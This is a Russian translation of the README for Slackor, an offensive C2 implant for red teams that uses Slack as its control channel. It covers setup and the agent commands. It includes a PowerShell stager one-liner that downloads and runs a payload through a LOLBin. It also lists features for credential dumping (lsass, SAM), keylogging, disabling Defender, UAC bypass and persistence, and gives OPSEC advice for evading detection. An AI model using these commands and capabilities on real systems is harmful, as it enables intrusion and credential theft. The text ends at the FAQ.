Slackor #

Поддерживается на https://github.com/n00py/Slackor

Имплант на Golang, использующий Slack в качестве канала управления и команд (C2).

Этот проект был вдохновлён Gcat и Twittor.

Этот инструмент выпущен как доказательство концепции. Обязательно прочитайте и поймите Политику разработчика приложений Slack перед созданием любых приложений Slack.

Настройка

Примечание: сервер написан на Python 3

Для работы вам потребуется:

• Рабочее пространство Slack

• Зарегистрировать приложение со следующими разрешениями:

  • channels:read
  • channels:history
  • channels:write
  • files:write:user
  • files:read

• Создать бота

Этот репозиторий содержит пять файлов:

• install.sh Устанавливает зависимости
• setup.py Скрипт для создания каналов Slack, базы данных и импланта
• agent.py Скрипт для генерации новых имплантов
• server.py Сервер Slackor, предназначенный для запуска на Linux
• agent.go Имплант на Golang
• requirements.txt Зависимости Python (устанавливаются автоматически)

Чтобы начать:

• go get github.com/Coalfire-Research/Slackor
• cd $GOPATH/src/github.com/Coalfire-Research/Slackor
• Запустите install.sh
• Запустите setup.py
  • Укажите OAuth Access Token и Bot User OAuth Access Token из вашего приложения

После успешного выполнения скрипта в каталоге dist/ будут созданы несколько файлов:

• agent.windows.exe: 64-битный бинарник для Windows
• agent.upx.exe: 64-битный бинарник для Windows, упакованный UPX
• agent.darwin: 64-битный бинарник для macOS
• agent.32.linux: 32-битный бинарник для Linux
• agent.64.linux: 64-битный бинарник для Linux

После запуска server.py на хосте Linux выполните тот агент из перечисленных выше, который подходит для вашей целевой системы.

Запустите модуль "stager", чтобы сгенерировать однострочную команду и другие дропперы.

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe

Это выполнит InvokeWebRequest (PS v.3+) для загрузки полезной нагрузки, запустит её с помощью LOLBin, а затем удалит себя после завершения. Это рабочий пример, но команду можно изменить для использования другого метода загрузки или выполнения.

Использование

Введите "help" или нажмите [TAB], чтобы увидеть список доступных команд. Введите "help [COMMAND]", чтобы увидеть описание этой команды.

(Slackor)

• help - Отображает меню справки
• interact - Взаимодействие с агентом
• list - Список всех зарегистрированных агентов
• remove - Завершить и удалить агента
• revive - Отправляет сигнал всем агентам на повторную регистрацию на сервере
• stager - Генерирует однострочную команду для загрузки и выполнения импланта
• quit - Выйти из программы
• wipefiles - Удаляет все загруженные файлы из Slack

Когда агент подключается, вы можете взаимодействовать с ним. Используйте "interact [AGENT]" для входа в режим взаимодействия с агентом. Введите "help" или нажмите [TAB], чтобы увидеть список доступных команд.

(Slackor:AGENT)

• Общие команды
  • back - Вернуться в главное меню
  • beacon - Изменить интервал времени между проверками агента (по умолчанию 5 секунд)
  • download - Скачать файл с агента на сервер Slackor
  • help - Отображает меню справки
  • kill - Завершить агента
  • sleep - Заставить агента уснуть один раз (введите время в секундах)
  • sysinfo - Отображает текущего пользователя, версию ОС, архитектуру системы и количество ядер ЦП
  • upload - Загрузить файл на агент с сервера Slackor
  • wget - Скачать произвольные файлы через HTTP/HTTPS
• Команды Windows
  • bypassuac - Попытка запустить агент с высоким уровнем целостности
  • cleanup - Удаляет артефакты постоянства
  • clipboard - Получает содержимое буфера обмена
  • defanger - Попытка отключить Windows Defender
  • duplicate - Заставляет агента создать ещё одну копию себя
  • getsystem - Запускает агента от имени NTAUTHORITY/SYSTEM
  • keyscan - Запускает кейлоггер на агенте
  • minidump - Создаёт дамп памяти lsass.exe и загружает его
  • persist - Создаёт постоянство путём внедрения бинарного файла в ADS
  • samdump - Попытка снять дамп файла SAM для извлечения хэшей
  • screenshot - Делает снимок экрана и загружает его
  • shellcode - Выполняет необработанный шелл-код x64
• Команды Mac
• Команды Linux
  • screenshot - Делает снимок экрана и загружает его

Соображения OPSEC

Вывод команд и загруженные файлы шифруются с помощью AES в дополнение к транспортному шифрованию TLS Slack.

Модули предупредят вас перед выполнением задач, которые записывают на диск.
При выполнении команд оболочки обратите внимание, что будут запущены cmd.exe/bash. Это может отслеживаться на хосте. Вот несколько безопасных с точки зрения OPSEC команд, которые НЕ будут выполнять cmd.exe/bash:

• cat - выводит содержимое файла
• cd - сменить каталог
• find - поиск имён файлов в каталогах
• getip - Получить внешний IP-адрес (выполняет DNS-запрос)
• hostname - Отображает имя хоста
• ifconfig - Отображает информацию об интерфейсах
• ls - список содержимого каталога
• mkdir - Создаёт каталог
• pwd - выводит текущий рабочий каталог
• rm - удаляет файл
• rmdir - удаляет каталог
• whoami / getuid - выводит текущего пользователя

Благодарности

• https://github.com/EgeBalci - Функции адаптированы из HERCULES и EGESPLOIT
• https://github.com/SaturnsVoid - Кейлоггер адаптирован из GoBot2
• https://github.com/vyrus001 - Выполнение x64 шелл-кода shellGo
• Функции шифрования взяты из https://www.golang123.com/topic/1686
• Идея постоянства от Enigma0x3
• Minidump адаптирован из Merlin, разработчик C-Sto
• Код скриншота из kbinani
• Код буфера обмена из atotto
• Генератор стейджера из hlldz
• Обход UAC от winscripting.blog
• Поиск Lulzbin от @vector_sec
• Бесчисленные темы на StackOverflow
• Спасибо impacket за извлечение хэшей из реестровых кустов SAM/SYS/SECURITY.
• Извлечение учётных данных из дампа LSASS стало возможным благодаря pypykatz от skelsec
• Bob Aman (Sporkmonger) за различные дополнения

Будущие цели

• DOSfuscation
• Загрузка DLL/PE рефлективно — https://github.com/vyrus001/go-mimikatz
• Выполнение сборок C# в памяти — https://github.com/lesnuages/go-execute-assembly
• Обфускация исходного кода https://github.com/unixpickle/gobfuscate

Часто задаваемые вопросы:

Безопасно ли это использовать для красных команд/пентеста?